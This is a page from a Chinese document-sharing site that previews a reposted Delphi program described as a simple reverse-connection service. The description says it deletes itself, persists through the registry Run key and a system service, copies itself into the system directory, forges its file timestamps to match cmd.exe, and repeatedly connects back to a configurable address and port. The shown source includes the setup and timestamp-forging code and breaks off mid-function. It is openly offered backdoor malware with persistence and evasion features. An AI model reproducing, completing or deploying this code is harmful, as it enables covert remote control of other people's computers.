Delphi一个简单反向连接服务程序.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Delphi一个简单反向连接服务程序

[Delphi]一个简单的反向连接服务程序???[转] 作者:hnxyy???来源:火狐? 功能简介: 运行后自删除,写注册表Run下,同时自拷贝到系统目录下,注册为系统服务SvrDemo,修改文件时间同Cmd.exe,每隔俩秒钟连接一次本地(127.0.0.1)的600端口,ip地址和端口可自行修改,部分代码来源于网上修改,主要在于演示服务程序,用fsg2.0加壳后9.8k,编译环境D7+2kPro。 在命令行下加参数?/U?可以卸载服务程序。 program?SvrDemo; uses ??Windows, ??WinSvc, ??winsock; const ??RegName?=?SvrDemo; var ??szServiceName:?pchar?=?SvrDemo; ??szFileNamechar; ??ServiceTable:?array?[0..1]?of?TServiceTableEntry; ??Status:?SERVICE_STATUS; ??StatusHandle:?SERVICE_STATUS_HANDLE; ??Stopped:?boolean; ??Paused:?boolean; ??cmd?:array[0..MAX_PATH]?of?char; //获取系统目录 function?GetDirectory(dInt:?Integer):?string; var ??s:?array[0..255]?of?Char; begin ??case?dInt?of ????0:?GetWindowsDirectory(@s,?256);??//Windows安装文件夾所存在的路径 ????1:?GetSystemDirectory(@s,?256);???//系统文件夾所存在的路径 ????2:?GetTempPath(256,@s);???????????//Temp文件夾所存在的路径 ??end; ??if?dInt=2?then ????result?:=string(s) ??else ????result?:=?string(s)?+?\; end; //设置文件时间 procedure?setTime(srcFile,destFile:PChar); var ??hFileOld,hFileNew?:THandle; ??CreationTime,?LastAccessTime,?LastWriteTime?:PFileTime; begin ??hFileOld?:=createFile(srcFile,generic_read,file_share_read,nil, ????????????????????????open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil)); ??if?(hFileOld=INVALID_HANDLE_VALUE)?then?exit; ??hFileNew?:=createFile(destFile,generic_write,file_share_write,nil, ????????????????????????open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil)); ??if?(hFileNew=INVALID_HANDLE_VALUE)?then?exit; ??GetMem(CreationTime,SizeOf(TFileTime)); ??GetMem(LastAccessTime,SizeOf(TFileTime)); ??GetMem(LastWriteTime,SizeOf(TFileTime)); ??GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime); ??SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime); ??FreeMem(CreationTime); ??FreeMem(LastAccesstime); ??FreeMem(LastWriteTime); ??CloseHandle(hFileNew); ??CloseHandle(hFileOld); end; function?LookupName(const?Name:?string):?TInAddr; var ??HostEnt:?PHostEnt; ??InAddr:?TInAddr; begin ??HostEnt?:=?gethostbyname(PChar(Name)); ??Fi

文档评论(0)

jgx3536 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

版权声明书
用户编号:6111134150000003

1亿VIP精品文档

相关文档